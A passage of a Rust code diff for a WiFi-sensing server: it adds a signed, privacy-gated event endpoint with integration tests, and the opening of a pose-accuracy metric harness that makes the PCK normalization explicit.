+//! positions are "strongest field peak", not triangulation); (b) the signing
+//! key is a **dedicated dev/sensing key** pending the ADR-262 §8 Q1 ownership
+//! decision (reusing the `cog-ha-matter` Ed25519 key is the **deferred P2**
+//! call — P3 deliberately uses a standalone key so it does not pre-empt that);
+//! (c) **no accuracy is claimed.** The win is narrowly: "RuView's live sensing
+//! now speaks RuField on `/ws/field`."
+
+use std::collections::VecDeque;
+use std::sync::Arc;
+
+use axum::{
+    extract::{
+        ws::{Message, WebSocket, WebSocketUpgrade},
+        State,
+    },
+    response::{IntoResponse, Json},
+};
+use tokio::sync::{broadcast, RwLock};
+
+// Re-export the bridge input types `main.rs` needs to build a snapshot, so the
+// server-side call site depends only on `rufield_surface` (the server seam).
+pub use wifi_densepose_rufield::{
+    network_egress_allowed, snapshot_to_field_event, FieldEvent, RuViewPrivacyClass,
+    SensingClass, SensingFeatures, SensingSnapshot, Signer, SignalField,
+};
+
+/// How many recent surfaced `FieldEvent`s the ring buffer retains. Small and
+/// bounded — this is a live tap, not a store (ADR-262 §4 P3 "small bounded ring
+/// buffer of recent events").
+pub const FIELD_RING_CAPACITY: usize = 64;
+
+/// Broadcast channel depth for `/ws/field`. Matches the `/ws/sensing` `tx`
+/// channel size (256) so a slow field client drops messages rather than
+/// stalling the sensing loop.
+pub const FIELD_BROADCAST_CAPACITY: usize = 256;
+
+/// Environment variable carrying the 32-byte hex/raw signing seed for the
+/// dedicated RuField sensing signer. When unset, a deterministic dev default is
+/// used (with a logged warning). See [`FieldSurface::from_env`].
+pub const SIGNING_SEED_ENV: &str = "WDP_RUFIELD_SIGNING_SEED";
+
+/// Deterministic dev signing seed used when [`SIGNING_SEED_ENV`] is unset. This
+/// is a **dev/sensing key**, intentionally standalone (ADR-262 §8 Q1 — the
+/// `cog-ha-matter` key reuse is the deferred P2 decision, not pre-empted here).
+const DEV_SIGNING_SEED: &[u8; 32] = b"adr262-ruview-rufield-dev-seed!!";
+
+/// The live RuField surface state held in `AppStateInner` (ADR-262 P3).
+///
+/// Owns the **dedicated** ed25519 [`Signer`], a bounded ring buffer of the most
+/// recent network-surfaced events, and the `/ws/field` broadcast sender.
+pub struct FieldSurface {
+    signer: Signer,
+    /// Bounded ring of recent **network-surfaced** events (most recent last).
+    recent: VecDeque<FieldEvent>,
+    /// Broadcast topic for `/ws/field` (JSON-serialized `FieldEvent`s).
+    tx: broadcast::Sender<String>,
+    /// True when the dev default seed is in use (drives a one-time warning and
+    /// is surfaced in `/api/field` metadata so operators can see they are on a
+    /// dev key).
+    using_dev_key: bool,
+}
+
+impl FieldSurface {
+    /// Build a surface with an explicit 32-byte seed (deterministic signer).
+    #[must_use]
+    pub fn from_seed(seed: &[u8; 32], using_dev_key: bool) -> Self {
+        let (tx, _rx) = broadcast::channel(FIELD_BROADCAST_CAPACITY);
+        Self {
+            signer: Signer::from_seed(seed),
+            recent: VecDeque::with_capacity(FIELD_RING_CAPACITY),
+            tx,
+            using_dev_key,
+        }
+    }
+
+    /// Build a surface from the environment (ADR-262 §4 P3 / open-question 1).
+    ///
+    /// Reads [`SIGNING_SEED_ENV`] as either a 64-char hex string or a raw 32+
+    /// byte UTF-8 value (first 32 bytes used). When unset/invalid it falls back
+    /// to the deterministic [`DEV_SIGNING_SEED`] and logs a `WARN` — the key is
+    /// a standalone **dev/sensing** key, NOT the deferred-P2 `cog-ha-matter`
+    /// key.
+    #[must_use]
+    pub fn from_env() -> Self {
+        match std::env::var(SIGNING_SEED_ENV).ok().and_then(|v| parse_seed(&v)) {
+            Some(seed) => {
+                tracing::info!(
+                    "ADR-262 P3: RuField surface using signing seed from {SIGNING_SEED_ENV} \
+                     (dedicated sensing key)"
+                );
+                Self::from_seed(&seed, false)
+            }
+            None => {
+                tracing::warn!(
+                    "ADR-262 P3: {SIGNING_SEED_ENV} unset/invalid — RuField surface using the \
+                     DETERMINISTIC DEV signing key. This is a dev/sensing key pending the \
+                     ADR-262 §8 Q1 (P2) key-ownership decision; set {SIGNING_SEED_ENV} (64-hex \
+                     or 32-byte value) for a real deployment."
+                );
+                Self::from_seed(DEV_SIGNING_SEED, true)
+            }
+        }
+    }
+
+    /// The public key of the dedicated signer (hex), so consumers can verify
+    /// receipts without the private seed.
+    #[must_use]
+    pub fn signer_pubkey_hex(&self) -> String {
+        self.signer.public_hex()
+    }
+
+    /// Whether the dev default key is in use.
+    #[must_use]
+    pub fn using_dev_key(&self) -> bool {
+        self.using_dev_key
+    }
+
+    /// A `/ws/field` subscription.
+    #[must_use]
+    pub fn subscribe(&self) -> broadcast::Receiver<String> {
+        self.tx.subscribe()
+    }
+
+    /// The most recent surfaced events, oldest→newest.
+    #[must_use]
+    pub fn recent(&self) -> Vec<FieldEvent> {
+        self.recent.iter().cloned().collect()
+    }
+
+    /// Convert one cycle's [`SensingSnapshot`] into a signed [`FieldEvent`],
+    /// apply the §10 network egress gate, and — **iff** the event may leave the
+    /// box — push it into the ring + broadcast it on `/ws/field`.
+    ///
+    /// Returns `Some(event)` when an event was surfaced, `None` when the cycle
+    /// was held edge-local (above network policy — e.g. a `Derived → P4/P5`
+    /// cycle) or carried no presence. Two structural guarantees live here, so
+    /// they hold regardless of caller:
+    ///
+    /// - **no phantom events** — a no-presence cycle (`presence == false`)
+    ///   surfaces nothing (ADR-262 §4 P3 / §6); there is no person to describe.
+    /// - **privacy-safety pin** — above-policy classes (P0, P3–P5) are never
+    ///   placed on the network surface; only egress-safe P1/P2 events leave.
+    pub fn emit(&mut self, snap: &SensingSnapshot) -> Option<FieldEvent> {
+        // No-presence ⇒ no phantom event (fabricating one would be dishonest).
+        if !snap.classification.presence {
+            return None;
+        }
+
+        let event = snapshot_to_field_event(snap, &self.signer);
+
+        // §10 network egress gate (ADR-262 §4 P3): only P1/P2 leave the box by
+        // default; P0 raw and P3/P4/P5 (above the default P2 ceiling, or
+        // identity/biometric) are held edge-local. A `Derived` cycle is P4/P5
+        // ⇒ never surfaced as a low-privacy network event.
+        if !network_egress_allowed(event.observation.privacy_class, snap.identity_bound) {
+            tracing::trace!(
+                privacy_class = ?event.observation.privacy_class,
+                "ADR-262 P3: cycle held edge-local (above network policy), not surfaced on /api/field"
+            );
+            return None;
+        }
+
+        if self.recent.len() == FIELD_RING_CAPACITY {
+            self.recent.pop_front();
+        }
+        self.recent.push_back(event.clone());
+
+        if let Ok(json) = serde_json::to_string(&event) {
+            let _ = self.tx.send(json);
+        }
+        Some(event)
+    }
+}
+
+/// Parse [`SIGNING_SEED_ENV`] as 64-char hex or a raw 32+ byte UTF-8 value.
+fn parse_seed(v: &str) -> Option<[u8; 32]> {
+    let v = v.trim();
+    // 64 hex chars → 32 bytes.
+    if v.len() == 64 && v.bytes().all(|b| b.is_ascii_hexdigit()) {
+        let mut out = [0u8; 32];
+        for (i, chunk) in v.as_bytes().chunks(2).enumerate() {
+            let hi = (chunk[0] as char).to_digit(16)?;
+            let lo = (chunk[1] as char).to_digit(16)?;
+            out[i] = ((hi << 4) | lo) as u8;
+        }
+        return Some(out);
+    }
+    // Otherwise: first 32 bytes of the raw value (must be at least 32 long so a
+    // short/typo'd value fails closed to the dev key rather than a weak key).
+    let bytes = v.as_bytes();
+    if bytes.len() >= 32 {
+        let mut out = [0u8; 32];
+        out.copy_from_slice(&bytes[..32]);
+        return Some(out);
+    }
+    None
+}
+
+/// Build a [`SensingSnapshot`] from the real per-cycle values (ADR-262 P3 §4.2).
+///
+/// This is the join the ADR mandates: `SensingUpdate` features / classification
+/// / signal-field **plus** the governed engine's `effective_class` / `demoted`
+/// / `identity_bound` trust state. All inputs are the same real data the cycle
+/// already computed — nothing is fabricated. `signal_field` is passed through as
+/// the honest "strongest field peak" readout (no calibrated coordinates).
+#[allow(clippy::too_many_arguments)]
+#[must_use]
+pub fn build_snapshot(
+    timestamp_ns: u64,
+    node_id: String,
+    features: SensingFeatures,
+    classification: SensingClass,
+    signal_field: Option<SignalField>,
+    trust_class: RuViewPrivacyClass,
+    demoted: bool,
+    identity_bound: bool,
+) -> SensingSnapshot {
+    SensingSnapshot {
+        timestamp_ns,
+        features,
+        classification,
+        signal_field,
+        trust_class,
+        demoted,
+        identity_bound,
+        node_id,
+    }
+}
+
+/// Map RuView's live governed-engine `bfld::PrivacyClass` (the `effective_class`
+/// on `TrustedOutput`) onto the bridge's [`RuViewPrivacyClass`] input.
+///
+/// This is a **lossless, same-meaning** re-encoding of the four byte-level
+/// classes — both enums are `Raw/Derived/Anonymous/Restricted` in the same
+/// order. It exists only so `main.rs` can pass the engine's class into the
+/// bridge without the bridge depending on `wifi-densepose-bfld` (keeping it an
+/// anti-corruption layer, ADR-262 §5.4). The information-content privacy
+/// mapping (the §3.3 correctness item) happens *inside* the bridge.
+#[must_use]
+pub fn ruview_class_from_bfld(class: wifi_densepose_bfld::PrivacyClass) -> RuViewPrivacyClass {
+    use wifi_densepose_bfld::PrivacyClass as B;
+    match class {
+        B::Raw => RuViewPrivacyClass::Raw,
+        B::Derived => RuViewPrivacyClass::Derived,
+        B::Anonymous => RuViewPrivacyClass::Anonymous,
+        B::Restricted => RuViewPrivacyClass::Restricted,
+    }
+}
+
+// ── Handlers ────────────────────────────────────────────────────────────────
+
+/// Shared state for the field surface handlers. Generic over the lock guard so
+/// the module can be tested in isolation with a tiny state (ADR-262 P3 test
+/// gate) and wired into the full `AppStateInner` in `main.rs` via an adapter.
+pub type FieldState = Arc<RwLock<FieldSurface>>;
+
+/// `GET /api/field` — the most recent network-surfaced `FieldEvent`s as JSON,
+/// plus surface metadata (the signer pubkey + whether a dev key is in use).
+///
+/// When no event has been surfaced yet (empty room / above-policy cycles only)
+/// the `events` array is empty — an **explicit empty payload**, never a
+/// fabricated event (ADR-262 §4 P3 / §6 honesty).
+pub async fn api_field(State(state): State<FieldState>) -> Json<serde_json::Value> {
+    let s = state.read().await;
+    Json(serde_json::json!({
+        "spec": "rufield",
+        "endpoint": "/api/field",
+        "signer_pubkey_hex": s.signer_pubkey_hex(),
+        "dev_signing_key": s.using_dev_key(),
+        "events": s.recent(),
+    }))
+}
+
+/// `GET /ws/field` — upgrade to a WebSocket that streams each surfaced
+/// `FieldEvent` (JSON) as the sensing loop emits it. Mirrors `/ws/sensing`:
+/// subscribe to the broadcast topic and forward.
+pub async fn ws_field(ws: WebSocketUpgrade, State(state): State<FieldState>) -> impl IntoResponse {
+    let rx = {
+        let s = state.read().await;
+        s.subscribe()
+    };
+    ws.on_upgrade(move |socket| handle_ws_field_client(socket, rx))
+}
+
+async fn handle_ws_field_client(mut socket: WebSocket, mut rx: broadcast::Receiver<String>) {
+    // Forward broadcast events; exit on client close or fatal lag.
+    loop {
+        match rx.recv().await {
+            Ok(json) => {
+                if socket.send(Message::Text(json)).await.is_err() {
+                    break; // client gone
+                }
+            }
+            Err(broadcast::error::RecvError::Lagged(_)) => {
+                // Slow client missed events — keep going from the latest.
+                continue;
+            }
+            Err(broadcast::error::RecvError::Closed) => break,
+        }
+    }
+}
+
+/// Build the additive field-surface router. Mounted into the main HTTP router
+/// in `main.rs`; also used standalone by the integration tests (ADR-262 P3
+/// gate, `tower::oneshot`).
+#[must_use]
+pub fn router(state: FieldState) -> axum::Router {
+    use axum::routing::get;
+    axum::Router::new()
+        .route("/api/field", get(api_field))
+        .route("/ws/field", get(ws_field))
+        .with_state(state)
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use wifi_densepose_rufield::{is_fusable, PrivacyClass};
+
+    fn features() -> SensingFeatures {
+        SensingFeatures {
+            mean_rssi: -55.0,
+            variance: 0.4,
+            motion_band_power: 2.0,
+            breathing_band_power: 0.3,
+            dominant_freq_hz: 0.25,
+            change_points: 1,
+            spectral_power: 3.0,
+        }
+    }
+
+    fn present_class() -> SensingClass {
+        SensingClass {
+            motion_level: "low".into(),
+            presence: true,
+            confidence: 0.82,
+        }
+    }
+
+    #[test]
+    fn parse_seed_hex_and_raw_and_short() {
+        // 64 hex chars → 32 bytes.
+        let hex = "00112233445566778899aabbccddeeff00112233445566778899aabbccddeeff";
+        let parsed = parse_seed(hex).expect("valid hex seed");
+        assert_eq!(parsed[0], 0x00);
+        assert_eq!(parsed[31], 0xff);
+        // Raw 32-byte value.
+        assert!(parse_seed("0123456789abcdef0123456789abcdef").is_some());
+        // Too short → fail closed (None → dev key).
+        assert!(parse_seed("short").is_none());
+    }
+
+    #[test]
+    fn anonymous_cycle_surfaces_fusable_event() {
+        let mut surface = FieldSurface::from_seed(DEV_SIGNING_SEED, true);
+        let snap = build_snapshot(
+            1_791_986_400_000_000_000,
+            "esp32_room_01".into(),
+            features(),
+            present_class(),
+            None,
+            RuViewPrivacyClass::Anonymous, // → P2, network-allowed
+            false,
+            false,
+        );
+        let ev = surface.emit(&snap).expect("anonymous P2 cycle is surfaced");
+        assert_eq!(ev.observation.privacy_class, PrivacyClass::P2);
+        assert!(is_fusable(&ev), "live event must be ed25519-signed & fusable");
+        assert_eq!(surface.recent().len(), 1);
+    }
+
+    #[test]
+    fn derived_cycle_never_surfaces_low_privacy() {
+        // The privacy-safety pin: a Derived (identity) cycle maps to P4/P5 and
+        // is held edge-local — it must NEVER appear on the network surface.
+        let mut surface = FieldSurface::from_seed(DEV_SIGNING_SEED, true);
+        for identity_bound in [false, true] {
+            let snap = build_snapshot(
+                1_791_986_400_000_000_000,
+                "esp32_room_01".into(),
+                features(),
+                present_class(),
+                None,
+                RuViewPrivacyClass::Derived,
+                false,
+                identity_bound,
+            );
+            assert!(
+                surface.emit(&snap).is_none(),
+                "Derived cycle (identity_bound={identity_bound}) must be held edge-local"
+            );
+        }
+        assert!(surface.recent().is_empty(), "no Derived event may reach the surface");
+    }
+
+    #[test]
+    fn ring_buffer_is_bounded() {
+        let mut surface = FieldSurface::from_seed(DEV_SIGNING_SEED, true);
+        for i in 0..(FIELD_RING_CAPACITY + 10) {
+            let snap = build_snapshot(
+                1_791_986_400_000_000_000 + i as u64,
+                "esp32_room_01".into(),
+                features(),
+                present_class(),
+                None,
+                RuViewPrivacyClass::Anonymous,
+                false,
+                false,
+            );
+            surface.emit(&snap);
+        }
+        assert_eq!(surface.recent().len(), FIELD_RING_CAPACITY);
+    }
+}

v2/crates/wifi-densepose-sensing-server/tests/rufield_surface_test.rs

@@ -0,0 +1,178 @@
+//! ADR-262 **P3** acceptance gate — the live RuField surface.
+//!
+//! In-process integration test (mirrors the `/ws/sensing` / #1050 oneshot
+//! style with `tower::ServiceExt::oneshot`): drives synthetic sensing cycles
+//! through the real `FieldSurface` + the real `/api/field` router, and asserts:
+//!
+//! 1. an injected `Anonymous` (occupancy) cycle surfaces a **well-formed signed
+//!    `FieldEvent`** — `Modality::WifiCsi`, privacy class consistent with the
+//!    trust (P2, never P1), `is_fusable` (ed25519 receipt verifies), real
+//!    timestamp;
+//! 2. an empty / no-presence cycle produces **no phantom event** (explicit
+//!    empty payload);
+//! 3. the **privacy-safety pin** — an injected `Derived` (identity) trust state
+//!    never surfaces as a low-privacy event on `/api/field` (held edge-local).
+//!
+//! These gates are plumbing + privacy-safety, NOT accuracy (ADR-262 §0 / §6).
+
+use std::sync::Arc;
+
+use axum::body::Body;
+use axum::http::{Request, StatusCode};
+use tokio::sync::RwLock;
+use tower::ServiceExt; // `oneshot`
+
+use wifi_densepose_rufield::{is_fusable, verify_event, FieldEvent, Modality, PrivacyClass};
+use wifi_densepose_sensing_server::rufield_surface::{
+    self, FieldState, FieldSurface, RuViewPrivacyClass, SensingClass, SensingFeatures, SignalField,
+};
+
+/// A fixed dev seed for deterministic, signed events under test.
+const TEST_SEED: &[u8; 32] = b"adr262-p3-integration-test-seed!";
+
+fn features() -> SensingFeatures {
+    SensingFeatures {
+        mean_rssi: -55.0,
+        variance: 0.4,
+        motion_band_power: 2.0,
+        breathing_band_power: 0.3,
+        dominant_freq_hz: 0.25,
+        change_points: 1,
+        spectral_power: 3.0,
+    }
+}
+
+fn class(presence: bool) -> SensingClass {
+    SensingClass {
+        motion_level: if presence { "low".into() } else { "none".into() },
+        presence,
+        confidence: if presence { 0.82 } else { 0.05 },
+    }
+}
+
+/// A small 2×1×2 signal field with a clear peak, so the bridge derives a real
+/// (non-fabricated) position from the strongest cell.
+fn signal_field() -> SignalField {
+    SignalField {
+        grid_size: [2, 1, 2],
+        values: vec![0.1, 0.2, 0.9, 0.3], // peak at index 2
+    }
+}
+
+/// Build a `FieldState` + the real `/api/field` + `/ws/field` router over it.
+fn surface_router() -> (FieldState, axum::Router) {
+    let state: FieldState = Arc::new(RwLock::new(FieldSurface::from_seed(TEST_SEED, true)));
+    let app = rufield_surface::router(state.clone());
+    (state, app)
+}
+
+/// Drive one cycle into the surface (the in-process equivalent of the live
+/// sensing loop calling `emit()` per cycle).
+async fn inject(state: &FieldState, trust: RuViewPrivacyClass, presence: bool, identity_bound: bool) {
+    let snap = rufield_surface::build_snapshot(
+        1_791_986_400_000_000_000,
+        "esp32_node_7".into(),
+        features(),
+        class(presence),
+        Some(signal_field()),
+        trust,
+        false, // demoted
+        identity_bound,
+    );
+    state.write().await.emit(&snap);
+}
+
+/// `GET /api/field` and parse the `events` array.
+async fn get_field_events(app: &axum::Router) -> Vec<FieldEvent> {
+    let resp = app
+        .clone()
+        .oneshot(
+            Request::builder()
+                .uri("/api/field")
+                .body(Body::empty())
+                .unwrap(),
+        )
+        .await
+        .unwrap();
+    assert_eq!(resp.status(), StatusCode::OK, "/api/field must return 200");
+    let bytes = axum::body::to_bytes(resp.into_body(), usize::MAX).await.unwrap();
+    let v: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
+    assert_eq!(v["spec"], "rufield");
+    serde_json::from_value(v["events"].clone()).expect("events array deserializes to FieldEvents")
+}
+
+#[tokio::test]
+async fn gate_anonymous_cycle_surfaces_wellformed_signed_event() {
+    let (state, app) = surface_router();
+    inject(&state, RuViewPrivacyClass::Anonymous, true, false).await;
+
+    let events = get_field_events(&app).await;
+    assert_eq!(events.len(), 1, "one occupancy cycle ⇒ exactly one surfaced event");
+    let ev = &events[0];
+
+    // Well-formed: WiFi-CSI modality, real timestamp.
+    assert_eq!(ev.tensor.modality, Modality::WifiCsi);
+    assert_eq!(ev.timestamp_ns, 1_791_986_400_000_000_000);
+    assert!(ev.timestamp_ns > 0, "real (non-zero) timestamp");
+
+    // Privacy consistent with the injected trust: Anonymous → P2, NEVER P1.
+    assert_eq!(ev.observation.privacy_class, PrivacyClass::P2);
+    assert_ne!(ev.observation.privacy_class, PrivacyClass::P1);
+
+    // Signed + fusable: the ed25519 receipt verifies (real, non-synthetic).
+    assert!(!ev.provenance.synthetic, "live event is non-synthetic");
+    assert!(verify_event(ev).is_ok(), "ed25519 signature must verify");
+    assert!(is_fusable(ev), "verified receipt ⇒ fusable");
+
+    // Real position derived from the signal-field peak (not fabricated).
+    assert!(ev.observation.range_m.is_some(), "field peak ⇒ a real range readout");
+}
+
+#[tokio::test]
+async fn gate_empty_cycle_produces_no_phantom_event() {
+    let (state, app) = surface_router();
+    // A no-presence cycle: nothing to describe.
+    inject(&state, RuViewPrivacyClass::Anonymous, false, false).await;
+
+    let events = get_field_events(&app).await;
+    assert!(
+        events.is_empty(),
+        "no-presence cycle must surface no phantom event (explicit empty payload)"
+    );
+}
+
+#[tokio::test]
+async fn gate_derived_trust_never_surfaces_low_privacy() {
+    // The privacy-safety pin (ADR-262 §3.3 / §6): a Derived (identity) trust
+    // state maps to P4/P5 and is held edge-local — it must NEVER appear on the
+    // network surface, and certainly never as a low-privacy (P1/P2) event.
+    for identity_bound in [false, true] {
+        let (state, app) = surface_router();
+        inject(&state, RuViewPrivacyClass::Derived, true, identity_bound).await;
+
+        let events = get_field_events(&app).await;
+        assert!(
+            events.is_empty(),
+            "Derived cycle (identity_bound={identity_bound}) must not surface on /api/field"
+        );
+    }
+}
+
+#[tokio::test]
+async fn gate_mixed_stream_surfaces_only_egress_safe_events() {
+    // Determinism / privacy-safety over a stream: Anonymous cycles surface,
+    // interleaved Derived cycles are dropped — the surface only ever carries
+    // egress-safe (P1/P2) events.
+    let (state, app) = surface_router();
+    inject(&state, RuViewPrivacyClass::Anonymous, true, false).await; // P2 → surfaced
+    inject(&state, RuViewPrivacyClass::Derived, true, false).await; // P4 → dropped
+    inject(&state, RuViewPrivacyClass::Anonymous, true, false).await; // P2 → surfaced
+    inject(&state, RuViewPrivacyClass::Derived, true, true).await; // P5 → dropped
+
+    let events = get_field_events(&app).await;
+    assert_eq!(events.len(), 2, "only the two Anonymous cycles surface");
+    for ev in &events {
+        assert_eq!(ev.observation.privacy_class, PrivacyClass::P2);
+        assert!(is_fusable(ev));
+    }
+}

v2/crates/wifi-densepose-train/src/accuracy.rs

@@ -0,0 +1,708 @@
+//! Metric-locked pose-accuracy harness (ADR-155 §Tier-1.2; needs ADR slot 173).
+//!
+//! # Why this module exists
+//!
+//! Three PCK\@20 numbers float around this project and **cannot be lined up**
+//! because each silently uses a *different* PCK definition:
+//!
+//! | Number | Source | PCK normalization |
+//! |--------|--------|-------------------|
+//! | 96.09 %  | WiFlow-STD reproduction | image / bounding-box normalized (looser) |
+//! | 81.63 %  | AetherArena MM-Fi (ADR-150) | torso-diameter (standard MM-Fi / GraphPose-Fi) |
+//! | 61.1 %   | GraphPose-Fi (preprint) | torso-diameter, 3D, mm-scale (harder) |
+//!
+//! The project was burned **twice** by metric ambiguity (a now-retracted "92.9 %
+//! PCK\@20" used *absolute* pixel thresholds, not torso normalization). The fix
+//! is to make the normalizer **explicit, selectable, and carried with every
+//! reported number** so an unlabeled PCK figure is structurally impossible.
+//!
+//! [`metrics_core`](crate::metrics_core) already pins the *canonical*
+//! torso-normalized PCK ([`pck_canonical`](crate::metrics_core::pck_canonical)).
+//! This module generalizes it to a [`PckNormalization`] enum covering all three
+//! conventions the SOTA brief names, adds [`mpjpe`] (mm), and bundles results
+//! into a self-describing [`PoseAccuracy`] struct. It **reuses** the
+//! `metrics_core` primitives (hip distance, bounding-box diagonal) — there is
+//! still exactly one implementation of each geometric reference.
+//!
+//! # This is measurement infrastructure, not an accuracy claim
+//!
+//! Nothing here asserts any project model is good. The unit tests prove the
+//! *harness* is arithmetically correct against hand-computed fixtures (no GPU,
+//! no datasets), including the key demonstration that the **same predictions
+//! score different PCK under the three normalizations** — proof the ambiguity is
+//! real and the definitions are genuinely distinct.
+//!
+//! # Literature
+//!
+//! - Torso-diameter PCK is the MM-Fi / GraphPose-Fi convention (Yang et al.,
+//!   *GraphPose-Fi*, arXiv:2511.19105): a keypoint is correct iff its error is
+//!   within `k · d_torso`, with `d_torso` the hip↔hip (or shoulder↔hip) span.
+//! - Bounding-box / image-normalized PCK is the WiFlow-STD-style looser
+//!   convention (arXiv:2602.08661) — normalize by the GT pose bbox diagonal.
+//! - MPJPE (mean per-joint position error, mm) is reported by GraphPose-Fi and
+//!   Person-in-WiFi-3D (Yan et al., CVPR 2024).
+
+use std::collections::BTreeMap;
+
+use ndarray::{Array1, Array2};
+
+use crate::metrics_core::{
+    bounding_box_diagonal, CANON_LEFT_HIP, CANON_RIGHT_HIP,
+};
+
+/// Visibility cutoff: a keypoint counts as *visible* iff `visibility[j] >= 0.5`
+/// (COCO convention; matches [`crate::metrics_core`]).
+const VISIBILITY_THRESHOLD: f32 = 0.5;
+
+/// Minimum positive normalizer extent. Below this the reference scale is
+/// considered degenerate (zero torso, collapsed bbox) and the frame is reported
+/// unscoreable rather than dividing by ≈0.
+const MIN_REFERENCE_EXTENT: f32 = 1e-6;
+
+// ===========================================================================
+// PCK normalization — the explicit, selectable definition
+// ===========================================================================
+
+/// The PCK normalization basis — **the single knob that made three project
+/// numbers non-comparable**, now explicit and carried with every result.
+///
+/// A keypoint `j` (with `visibility[j] >= 0.5`) is *correct* iff
+/// `‖pred_j − gt_j‖₂ ≤ τ`, where the **distance tolerance `τ`** is derived from
+/// the chosen normalization and the PCK threshold `k` (given as a percentage,
+/// e.g. `20` for PCK\@20):
+///
+/// | Variant | `τ` (tolerance in coordinate units) |
+/// |---------|--------------------------------------|
+/// | [`TorsoDiameter`](Self::TorsoDiameter)        | `(k/100) · d_torso` |
+/// | [`BoundingBoxDiagonal`](Self::BoundingBoxDiagonal) | `(k/100) · d_bbox`  |
+/// | [`AbsolutePixels`](Self::AbsolutePixels)      | `threshold` (k ignored) |
+///
+/// `d_torso` is the hip↔hip span (COCO joints 11↔12), falling back to the bbox
+/// diagonal when both hips are not visible — identical to
+/// [`crate::metrics_core::canonical_torso_size`]. `d_bbox` is the diagonal of
+/// the axis-aligned bounding box of all visible GT keypoints.
+///
+/// These yield **different** PCK on the *same* predictions whenever
+/// `d_torso ≠ d_bbox` (always true for a real pose: the bbox is larger than the
+/// hip span), which is exactly why the 96 / 81.6 / 61 numbers cannot be lined
+/// up without declaring this enum.
+#[derive(Debug, Clone, Copy, PartialEq)]
+pub enum PckNormalization {
+    /// **Torso-diameter** (hip↔hip span). The standard MM-Fi / GraphPose-Fi
+    /// convention and the *stricter* of the two relative normalizers. This is
+    /// the canonical default ([`crate::metrics_core::pck_canonical`]).
+    TorsoDiameter,
+    /// **Bounding-box diagonal** (a.k.a. image-normalized). The looser
+    /// WiFlow-STD-style convention: normalize by the GT pose bbox diagonal,
+    /// which is larger than the torso span ⇒ a more forgiving threshold ⇒ a
+    /// higher PCK on identical predictions.
+    BoundingBoxDiagonal,
+    /// **Absolute pixel/coordinate threshold** — no pose-relative
+    /// normalization. The PCK `k` percentage is ignored; the held `threshold`
+    /// is the raw distance tolerance directly. Included so historical
+    /// retracted-style numbers are reproducible, and **clearly labeled as
+    /// non-comparable** to the relative variants (it does not scale with body
+    /// size or camera distance).
+    AbsolutePixels(f32),
+}
+
+impl PckNormalization {
+    /// Human-readable, *self-documenting* label for a reported number — so a
+    /// `PoseAccuracy` printed anywhere always carries its definition.
+    pub fn label(&self) -> String {
+        match self {
+            PckNormalization::TorsoDiameter => "torso-diameter".to_string(),
+            PckNormalization::BoundingBoxDiagonal => "bbox-diagonal".to_string(),
+            PckNormalization::AbsolutePixels(t) => format!("absolute-px({t})"),
+        }
+    }
+
+    /// Compute the per-frame distance tolerance `τ` for PCK threshold `k`
+    /// (percentage). Returns `None` when the (relative) normalizer is degenerate
+    /// — the frame cannot be scored.
+    ///
+    /// `gt_kpts` is `[n, 2]` (or `[n, ≥2]`, only x/y used); `visibility` is `[n]`.
+    fn tolerance(&self, gt_kpts: &Array2<f32>, visibility: &Array1<f32>, k: u8) -> Option<f32> {
+        let n = gt_kpts.shape()[0].min(visibility.len());
+        match self {
+            PckNormalization::AbsolutePixels(threshold) => {
+                // Raw tolerance, independent of pose scale and of `k`.
+                if *threshold > 0.0 {
+                    Some(*threshold)
+                } else {
+                    None
+                }
+            }
+            PckNormalization::TorsoDiameter => {
+                let d = torso_diameter(gt_kpts, visibility, n)?;
+                Some((k as f32 / 100.0) * d)
+            }
+            PckNormalization::BoundingBoxDiagonal => {
+                let d = bounding_box_diagonal(gt_kpts, visibility, n);
+                if d > MIN_REFERENCE_EXTENT {
+                    Some((k as f32 / 100.0) * d)
+                } else {
+                    None
+                }
+            }
+        }
+    }
+}
+
+/// Hip↔hip torso diameter with a bbox-diagonal fallback — the relative
+/// normalizer shared by `TorsoDiameter` PCK and
+/// [`crate::metrics_core::canonical_torso_size`]. Returns `None` when no
+/// positive-extent reference exists.
+fn torso_diameter(gt_kpts: &Array2<f32>, visibility: &Array1<f32>, n: usize) -> Option<f32> {
+    if CANON_LEFT_HIP < n
+        && CANON_RIGHT_HIP < n
+        && visibility[CANON_LEFT_HIP] >= VISIBILITY_THRESHOLD
+        && visibility[CANON_RIGHT_HIP] >= VISIBILITY_THRESHOLD
+    {
+        let dx = gt_kpts[[CANON_LEFT_HIP, 0]] - gt_kpts[[CANON_RIGHT_HIP, 0]];
+        let dy = gt_kpts[[CANON_LEFT_HIP, 1]] - gt_kpts[[CANON_RIGHT_HIP, 1]];
+        let torso = (dx * dx + dy * dy).sqrt();
+        if torso > MIN_REFERENCE_EXTENT {
+            return Some(torso);
+        }
+    }
+    let diag = bounding_box_diagonal(gt_kpts, visibility, n);
+    if diag > MIN_REFERENCE_EXTENT {
+        Some(diag)
+    } else {
+        None
+    }
+}
+
+// ===========================================================================
+// Single-frame PCK / MPJPE
+// ===========================================================================
+
+/// Per-frame **PCK\@`k`** under the selected `normalization`.
+///
+/// A keypoint `j` with `visibility[j] >= 0.5` is correct iff
+/// `‖pred_j − gt_j‖₂ ≤ τ`, with `τ` from
+/// [`PckNormalization::tolerance`]. Only x/y are used (2D PCK is the standard
+/// keypoint-PCK definition; pass 2-column arrays).
+///
+/// # Returns
+/// `(correct, total, pck)` with `pck ∈ [0,1]`. **`(0, 0, 0.0)`** when no
+/// keypoint is visible, or (for the relative normalizers) the reference scale is
+/// degenerate — a frame with no measurable evidence scores 0, never 1.
+/// NaN-valued coordinates make a keypoint *incorrect* (the `<=` comparison is
+/// false for NaN) rather than panicking.
+pub fn pck_at(
+    pred_kpts: &Array2<f32>,
+    gt_kpts: &Array2<f32>,
+    visibility: &Array1<f32>,
+    k: u8,
+    normalization: PckNormalization,
+) -> (usize, usize, f32) {
+    let n = pred_kpts.shape()[0]
+        .min(gt_kpts.shape()[0])
+        .min(visibility.len());
+    let tol = match normalization.tolerance(gt_kpts, visibility, k) {
+        Some(t) => t,
+        None => return (0, 0, 0.0),
+    };
+
+    let mut correct = 0usize;
+    let mut total = 0usize;
+    for j in 0..n {
+        if visibility[j] < VISIBILITY_THRESHOLD {
+            continue;
+        }
+        total += 1;
+        let dx = pred_kpts[[j, 0]] - gt_kpts[[j, 0]];
+        let dy = pred_kpts[[j, 1]] - gt_kpts[[j, 1]];
+        let dist = (dx * dx + dy * dy).sqrt();
